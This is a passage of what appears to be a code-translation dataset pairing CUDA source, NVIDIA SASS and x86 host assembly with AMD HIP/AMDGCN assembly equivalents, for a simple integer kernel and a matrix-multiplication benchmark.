.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z8kernel_5PiS_,@object # @_Z8kernel_5PiS_
.section .rodata,"a",@progbits
.globl _Z8kernel_5PiS_
.p2align 3, 0x0
_Z8kernel_5PiS_:
.quad _Z23__device_stub__kernel_5PiS_
.size _Z8kernel_5PiS_, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z8kernel_5PiS_"
.size .L__unnamed_1, 16
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z23__device_stub__kernel_5PiS_
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z8kernel_5PiS_
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting from CUDA device assembly to AMD device assembly. | code for sm_80
Function : _Z8kernel_5PiS_
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R0, SR_TID.X ; /* 0x0000000000007919 */
/* 0x000e280000002100 */
/*0020*/ S2R R3, SR_CTAID.X ; /* 0x0000000000037919 */
/* 0x000e240000002500 */
/*0030*/ IMAD R0, R3, c[0x0][0x0], R0 ; /* 0x0000000003007a24 */
/* 0x001fca00078e0200 */
/*0040*/ ISETP.GT.AND P0, PT, R0, 0x98967f, PT ; /* 0x0098967f0000780c */
/* 0x000fda0003f04270 */
/*0050*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*0060*/ HFMA2.MMA R9, -RZ, RZ, 0, 2.384185791015625e-07 ; /* 0x00000004ff097435 */
/* 0x000fe200000001ff */
/*0070*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fd20000000a00 */
/*0080*/ IMAD.WIDE R2, R0, R9, c[0x0][0x168] ; /* 0x00005a0000027625 */
/* 0x000fcc00078e0209 */
/*0090*/ LDG.E R2, [R2.64] ; /* 0x0000000402027981 */
/* 0x000ea2000c1e1900 */
/*00a0*/ LEA.HI R4, R0, R0, RZ, 0x1 ; /* 0x0000000000047211 */
/* 0x000fc800078f08ff */
/*00b0*/ SHF.R.S32.HI R4, RZ, 0x1, R4 ; /* 0x00000001ff047819 */
/* 0x000fca0000011404 */
/*00c0*/ IMAD.HI R5, R4, 0x10624dd3, RZ ; /* 0x10624dd304057827 */
/* 0x000fca00078e02ff */
/*00d0*/ SHF.R.U32.HI R6, RZ, 0x1f, R5 ; /* 0x0000001fff067819 */
/* 0x000fc80000011605 */
/*00e0*/ LEA.HI.SX32 R5, R5, R6, 0x1b ; /* 0x0000000605057211 */
/* 0x000fca00078fdaff */
/*00f0*/ IMAD R5, R5, -0x1f4, R4 ; /* 0xfffffe0c05057824 */
/* 0x000fca00078e0204 */
/*0100*/ IADD3 R5, R5, R2, RZ ; /* 0x0000000205057210 */
/* 0x004fe20007ffe0ff */
/*0110*/ IMAD.WIDE R2, R0, R9, c[0x0][0x160] ; /* 0x0000580000027625 */
/* 0x000fc800078e0209 */
/*0120*/ IMAD.HI R4, R5, 0x27317851, RZ ; /* 0x2731785105047827 */
/* 0x000fca00078e02ff */
/*0130*/ SHF.R.U32.HI R7, RZ, 0x1f, R4 ; /* 0x0000001fff077819 */
/* 0x000fc80000011604 */
/*0140*/ LEA.HI.SX32 R4, R4, R7, 0x15 ; /* 0x0000000704047211 */
/* 0x000fca00078faaff */
/*0150*/ IMAD R5, R4, -0x3441, R5 ; /* 0xffffcbbf04057824 */
/* 0x000fca00078e0205 */
/*0160*/ STG.E [R2.64], R5 ; /* 0x0000000502007986 */
/* 0x000fe2000c101904 */
/*0170*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*0180*/ BRA 0x180; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*0190*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*01f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0200*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0210*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0220*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0230*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0240*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0250*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0260*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*0270*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z8kernel_5PiS_
.globl _Z8kernel_5PiS_
.p2align 8
.type _Z8kernel_5PiS_,@function
_Z8kernel_5PiS_:
s_load_b32 s2, s[0:1], 0x1c
s_waitcnt lgkmcnt(0)
s_and_b32 s2, s2, 0xffff
s_delay_alu instid0(SALU_CYCLE_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_mad_u64_u32 v[1:2], null, s15, s2, v[0:1]
s_mov_b32 s2, exec_lo
v_cmpx_gt_i32_e32 0x989680, v1
s_cbranch_execz .LBB0_2
s_load_b128 s[0:3], s[0:1], 0x0
v_ashrrev_i32_e32 v2, 31, v1
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshlrev_b64 v[2:3], 2, v[1:2]
s_waitcnt lgkmcnt(0)
v_add_co_u32 v4, vcc_lo, s2, v2
s_delay_alu instid0(VALU_DEP_2) | instskip(SKIP_2) | instid1(VALU_DEP_1)
v_add_co_ci_u32_e32 v5, vcc_lo, s3, v3, vcc_lo
global_load_b32 v0, v[4:5], off
v_lshrrev_b32_e32 v4, 31, v1
v_add_nc_u32_e32 v1, v1, v4
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_ashrrev_i32_e32 v1, 1, v1
v_mul_hi_i32 v4, v1, 0x10624dd3
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshrrev_b32_e32 v5, 31, v4
v_ashrrev_i32_e32 v4, 5, v4
v_add_nc_u32_e32 v4, v4, v5
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_lo_u32 v4, v4, 0x1f4
v_sub_nc_u32_e32 v1, v1, v4
s_waitcnt vmcnt(0)
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_add_nc_u32_e32 v0, v0, v1
v_mul_hi_i32 v1, v0, 0x27317851
s_delay_alu instid0(VALU_DEP_1) | instskip(SKIP_1) | instid1(VALU_DEP_1)
v_lshrrev_b32_e32 v4, 31, v1
v_ashrrev_i32_e32 v1, 11, v1
v_add_nc_u32_e32 v1, v1, v4
s_delay_alu instid0(VALU_DEP_1) | instskip(NEXT) | instid1(VALU_DEP_1)
v_mul_i32_i24_e32 v1, 0x3441, v1
v_sub_nc_u32_e32 v4, v0, v1
v_add_co_u32 v0, vcc_lo, s0, v2
v_add_co_ci_u32_e32 v1, vcc_lo, s1, v3, vcc_lo
global_store_b32 v[0:1], v4, off
.LBB0_2:
s_nop 0
s_sendmsg sendmsg(MSG_DEALLOC_VGPRS)
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z8kernel_5PiS_
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 272
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 1
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 6
.amdhsa_next_free_sgpr 16
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z8kernel_5PiS_, .Lfunc_end0-_Z8kernel_5PiS_
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args:
- .address_space: global
.offset: 0
.size: 8
.value_kind: global_buffer
- .address_space: global
.offset: 8
.size: 8
.value_kind: global_buffer
- .offset: 16
.size: 4
.value_kind: hidden_block_count_x
- .offset: 20
.size: 4
.value_kind: hidden_block_count_y
- .offset: 24
.size: 4
.value_kind: hidden_block_count_z
- .offset: 28
.size: 2
.value_kind: hidden_group_size_x
- .offset: 30
.size: 2
.value_kind: hidden_group_size_y
- .offset: 32
.size: 2
.value_kind: hidden_group_size_z
- .offset: 34
.size: 2
.value_kind: hidden_remainder_x
- .offset: 36
.size: 2
.value_kind: hidden_remainder_y
- .offset: 38
.size: 2
.value_kind: hidden_remainder_z
- .offset: 56
.size: 8
.value_kind: hidden_global_offset_x
- .offset: 64
.size: 8
.value_kind: hidden_global_offset_y
- .offset: 72
.size: 8
.value_kind: hidden_global_offset_z
- .offset: 80
.size: 2
.value_kind: hidden_grid_dims
.group_segment_fixed_size: 0
.kernarg_segment_align: 8
.kernarg_segment_size: 272
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z8kernel_5PiS_
.private_segment_fixed_size: 0
.sgpr_count: 18
.sgpr_spill_count: 0
.symbol: _Z8kernel_5PiS_.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 6
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting from CUDA host assembly to AMD host assembly. | .file "tmpxft_00167fab_00000000-6_kernel_5.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z29__device_stub__Z8kernel_5PiS_PiS_
.type _Z29__device_stub__Z8kernel_5PiS_PiS_, @function
_Z29__device_stub__Z8kernel_5PiS_PiS_:
.LFB2051:
.cfi_startproc
endbr64
subq $120, %rsp
.cfi_def_cfa_offset 128
movq %rdi, 8(%rsp)
movq %rsi, (%rsp)
movq %fs:40, %rax
movq %rax, 104(%rsp)
xorl %eax, %eax
leaq 8(%rsp), %rax
movq %rax, 80(%rsp)
movq %rsp, %rax
movq %rax, 88(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
movl $1, 40(%rsp)
movl $1, 44(%rsp)
movl $1, 48(%rsp)
movl $1, 52(%rsp)
leaq 24(%rsp), %rcx
leaq 16(%rsp), %rdx
leaq 44(%rsp), %rsi
leaq 32(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 104(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $120, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 24(%rsp)
.cfi_def_cfa_offset 136
pushq 24(%rsp)
.cfi_def_cfa_offset 144
leaq 96(%rsp), %r9
movq 60(%rsp), %rcx
movl 68(%rsp), %r8d
movq 48(%rsp), %rsi
movl 56(%rsp), %edx
leaq _Z8kernel_5PiS_(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 128
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z29__device_stub__Z8kernel_5PiS_PiS_, .-_Z29__device_stub__Z8kernel_5PiS_PiS_
.globl _Z8kernel_5PiS_
.type _Z8kernel_5PiS_, @function
_Z8kernel_5PiS_:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z29__device_stub__Z8kernel_5PiS_PiS_
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z8kernel_5PiS_, .-_Z8kernel_5PiS_
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "_Z8kernel_5PiS_"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z8kernel_5PiS_(%rip), %rsi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2054:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: | .text
.file "kernel_5.hip"
.globl _Z23__device_stub__kernel_5PiS_ # -- Begin function _Z23__device_stub__kernel_5PiS_
.p2align 4, 0x90
.type _Z23__device_stub__kernel_5PiS_,@function
_Z23__device_stub__kernel_5PiS_: # @_Z23__device_stub__kernel_5PiS_
.cfi_startproc
# %bb.0:
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %rdi, 56(%rsp)
movq %rsi, 48(%rsp)
leaq 56(%rsp), %rax
movq %rax, 64(%rsp)
leaq 48(%rsp), %rax
movq %rax, 72(%rsp)
leaq 32(%rsp), %rdi
leaq 16(%rsp), %rsi
leaq 8(%rsp), %rdx
movq %rsp, %rcx
callq __hipPopCallConfiguration
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
movq 16(%rsp), %rcx
movl 24(%rsp), %r8d
leaq 64(%rsp), %r9
movl $_Z8kernel_5PiS_, %edi
pushq (%rsp)
.cfi_adjust_cfa_offset 8
pushq 16(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $104, %rsp
.cfi_adjust_cfa_offset -104
retq
.Lfunc_end0:
.size _Z23__device_stub__kernel_5PiS_, .Lfunc_end0-_Z23__device_stub__kernel_5PiS_
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
subq $40, %rsp
.cfi_def_cfa_offset 48
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB1_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB1_2:
movq __hip_gpubin_handle(%rip), %rdi
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z8kernel_5PiS_, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $40, %rsp
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end1:
.size __hip_module_ctor, .Lfunc_end1-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB2_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB2_2:
retq
.Lfunc_end2:
.size __hip_module_dtor, .Lfunc_end2-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z8kernel_5PiS_,@object # @_Z8kernel_5PiS_
.section .rodata,"a",@progbits
.globl _Z8kernel_5PiS_
.p2align 3, 0x0
_Z8kernel_5PiS_:
.quad _Z23__device_stub__kernel_5PiS_
.size _Z8kernel_5PiS_, 8
.type .L__unnamed_1,@object # @0
.section .rodata.str1.1,"aMS",@progbits,1
.L__unnamed_1:
.asciz "_Z8kernel_5PiS_"
.size .L__unnamed_1, 16
.type __hip_fatbin_wrapper,@object # @__hip_fatbin_wrapper
.section .hipFatBinSegment,"a",@progbits
.p2align 3, 0x0
__hip_fatbin_wrapper:
.long 1212764230 # 0x48495046
.long 1 # 0x1
.quad __hip_fatbin
.quad 0
.size __hip_fatbin_wrapper, 24
.type __hip_gpubin_handle,@object # @__hip_gpubin_handle
.local __hip_gpubin_handle
.comm __hip_gpubin_handle,8,8
.section .init_array,"aw",@init_array
.p2align 3, 0x0
.quad __hip_module_ctor
.type __hip_cuid_,@object # @__hip_cuid_
.bss
.globl __hip_cuid_
__hip_cuid_:
.byte 0 # 0x0
.size __hip_cuid_, 1
.section ".linker-options","e",@llvm_linker_options
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym _Z23__device_stub__kernel_5PiS_
.addrsig_sym __hip_module_ctor
.addrsig_sym __hip_module_dtor
.addrsig_sym _Z8kernel_5PiS_
.addrsig_sym __hip_fatbin
.addrsig_sym __hip_fatbin_wrapper
.addrsig_sym __hip_cuid_ |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA device assembly. | #include <cuda.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#define NANO 1000000000
#define PGSIZE 0x1000
#define SUBSIZE 1000
#define BLOCK 8
#define GRID 128
int size;
float *matrixA, *matrixB, *matrixBT, *matrixC_serial, *matrixC_cuda;
__global__
void cudaMatMul(float *A_d, float *B_d, float *C_d, int x, int y, int n, int size)
{
int i = n * x + blockIdx.x * blockDim.x + threadIdx.x;
int j = n * y + blockIdx.y * blockDim.y + threadIdx.y;
float value = 0.0;
if (i >= n * (x + 1) || j >= n * (y + 1))
return;
for (int k = 0; k < size; k++)
value += A_d[i * size + k] * B_d[k * size + j];
C_d[i * size + j] = value;
return;
}
float *make_matrix(int size)
{
float *matrix = (float *) malloc(sizeof(float) * size * size);
if (matrix == NULL)
{
perror("malloc");
exit(0);
}
if (malloc(PGSIZE) == NULL)
{
perror("malloc");
exit(0);
}
return matrix;
}
void set_matrix(float *matrix, int size)
{
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
matrix[i * size + j] = (float) drand48();
}
}
void print_matrix(double *matrix, int size)
{
printf("[");
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
printf(" %f", matrix[i * size + j]);
printf(";");
}
printf(" ]\n");
}
void cuda_mmul(float *A, float *B, float *C, int size)
{
int mem_size = sizeof(float) * size * size;
float *A_d, *B_d, *C_d;
dim3 dimBlock(BLOCK, BLOCK);
dim3 dimGrid(GRID, GRID);
cudaMalloc((void **) &A_d, mem_size);
cudaMemcpy(A_d, A, mem_size, cudaMemcpyHostToDevice);
cudaMalloc((void **) &B_d, mem_size);
cudaMemcpy(B_d, B, mem_size, cudaMemcpyHostToDevice);
cudaMalloc((void **) &C_d, mem_size);
for (int i = 0; i < size / SUBSIZE; i++)
{
for (int j = 0; j < size / SUBSIZE; j++)
cudaMatMul<<<dimGrid, dimBlock>>>(A_d, B_d, C_d, i, j, SUBSIZE, size);
}
cudaMemcpy(C, C_d, mem_size, cudaMemcpyDeviceToHost);
cudaFree(A_d);
cudaFree(B_d);
cudaFree(C_d);
}
void serial_mmul(float *matrixA, float *matrixB, float *matrixC)
{
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
matrixC[i * size + j] = 0.0;
for (int k = 0; k < size; k++)
matrixC[i * size + j] += matrixA[i * size + k] * matrixB[k * size + j];
}
}
}
int main(int argc, char **argv, char **envp)
{
int opt;
struct timespec tstart, tend;
while ((opt = getopt(argc, argv, "n:p:")) != -1)
{
switch (opt)
{
case 'n':
size = atoi(optarg);
break;
case '?':
printf("Usage: %s -n N\n", argv[0]);
exit(0);
}
}
if (size <= 0)
{
printf("Usage: %s -n N\n", argv[0]);
exit(0);
}
matrixA = make_matrix(size);
matrixB = make_matrix(size);
matrixC_serial = make_matrix(size);
matrixC_cuda = make_matrix(size);
srand48(time(NULL));
set_matrix(matrixA, size);
set_matrix(matrixB, size);
printf("Multi Thread Computation Start\n");
if (clock_gettime(CLOCK_MONOTONIC, &tstart) == -1)
{
perror("clock_gettime");
exit(0);
}
cuda_mmul(matrixA, matrixB, matrixC_cuda, size);
if (clock_gettime(CLOCK_MONOTONIC, &tend) == -1)
{
perror("clock_gettime");
exit(0);
}
long start_nsec = tstart.tv_sec * NANO + tstart.tv_nsec;
long end_nsec = tend.tv_sec * NANO + tend.tv_nsec;
double microsec = (end_nsec - start_nsec) / 1000.0;
printf("Multi Thread Computation End: %.3f us.\n", microsec);
printf("Single Thread Computation Start\n");
if (clock_gettime(CLOCK_MONOTONIC, &tstart) == -1)
{
perror("clock_gettime");
exit(0);
}
serial_mmul(matrixA, matrixB, matrixC_serial);
if (clock_gettime(CLOCK_MONOTONIC, &tend) == -1)
{
perror("clock_gettime");
exit(0);
}
start_nsec = tstart.tv_sec * NANO + tstart.tv_nsec;
end_nsec = tend.tv_sec * NANO + tend.tv_nsec;
microsec = (end_nsec - start_nsec) / 1000.0;
printf("Single Thread Computation End: %.3f us.\n", microsec);
for (int i = 0; i < size; i++)
{
for (int j = 0; j < size; j++)
{
if (fabs(matrixC_cuda[i * size + j] - matrixC_serial[i * size + j]) > 1e-3)
{
printf("Verification Fail.\n");
printf("(%d, %d): %f - %f\n", i, j, matrixC_cuda[i * size + j], matrixC_serial[i * size + j]);
}
}
}
printf("Verification Success.\n");
// print_matrix(matrixA, size);
// print_matrix(matrixB, size);
// print_matrix(matrixC, size);
return 0;
} | code for sm_80
Function : _Z10cudaMatMulPfS_S_iiii
.headerflags @"EF_CUDA_TEXMODE_UNIFIED EF_CUDA_64BIT_ADDRESS EF_CUDA_SM80 EF_CUDA_VIRTUAL_SM(EF_CUDA_SM80)"
/*0000*/ MOV R1, c[0x0][0x28] ; /* 0x00000a0000017a02 */
/* 0x000fe40000000f00 */
/*0010*/ S2R R5, SR_CTAID.X ; /* 0x0000000000057919 */
/* 0x000e220000002500 */
/*0020*/ MOV R0, c[0x0][0x180] ; /* 0x0000600000007a02 */
/* 0x000fc60000000f00 */
/*0030*/ S2R R2, SR_TID.X ; /* 0x0000000000027919 */
/* 0x000e240000002100 */
/*0040*/ IMAD R7, R0, c[0x0][0x17c], R0 ; /* 0x00005f0000077a24 */
/* 0x000fe400078e0200 */
/*0050*/ S2R R3, SR_CTAID.Y ; /* 0x0000000000037919 */
/* 0x000e680000002600 */
/*0060*/ S2R R4, SR_TID.Y ; /* 0x0000000000047919 */
/* 0x000e620000002200 */
/*0070*/ IMAD R5, R5, c[0x0][0x0], R2 ; /* 0x0000000005057a24 */
/* 0x001fc800078e0202 */
/*0080*/ IMAD R5, R0.reuse, c[0x0][0x178], R5 ; /* 0x00005e0000057a24 */
/* 0x040fe400078e0205 */
/*0090*/ IMAD R3, R3, c[0x0][0x4], R4 ; /* 0x0000010003037a24 */
/* 0x002fe400078e0204 */
/*00a0*/ IMAD R4, R0.reuse, c[0x0][0x178], R0 ; /* 0x00005e0000047a24 */
/* 0x040fe400078e0200 */
/*00b0*/ IMAD R2, R0, c[0x0][0x17c], R3 ; /* 0x00005f0000027a24 */
/* 0x000fc600078e0203 */
/*00c0*/ ISETP.GE.AND P0, PT, R5, R4, PT ; /* 0x000000040500720c */
/* 0x000fc80003f06270 */
/*00d0*/ ISETP.GE.OR P0, PT, R2, R7, P0 ; /* 0x000000070200720c */
/* 0x000fda0000706670 */
/*00e0*/ @P0 EXIT ; /* 0x000000000000094d */
/* 0x000fea0003800000 */
/*00f0*/ MOV R4, c[0x0][0x184] ; /* 0x0000610000047a02 */
/* 0x000fe20000000f00 */
/*0100*/ ULDC.64 UR4, c[0x0][0x118] ; /* 0x0000460000047ab9 */
/* 0x000fe20000000a00 */
/*0110*/ HFMA2.MMA R21, -RZ, RZ, 0, 0 ; /* 0x00000000ff157435 */
/* 0x000fe200000001ff */
/*0120*/ IMAD R5, R5, c[0x0][0x184], RZ ; /* 0x0000610005057a24 */
/* 0x000fe200078e02ff */
/*0130*/ ISETP.GE.AND P0, PT, R4, 0x1, PT ; /* 0x000000010400780c */
/* 0x000fda0003f06270 */
/*0140*/ @!P0 BRA 0xc90 ; /* 0x00000b4000008947 */
/* 0x000fea0003800000 */
/*0150*/ IADD3 R6, R4.reuse, -0x1, RZ ; /* 0xffffffff04067810 */
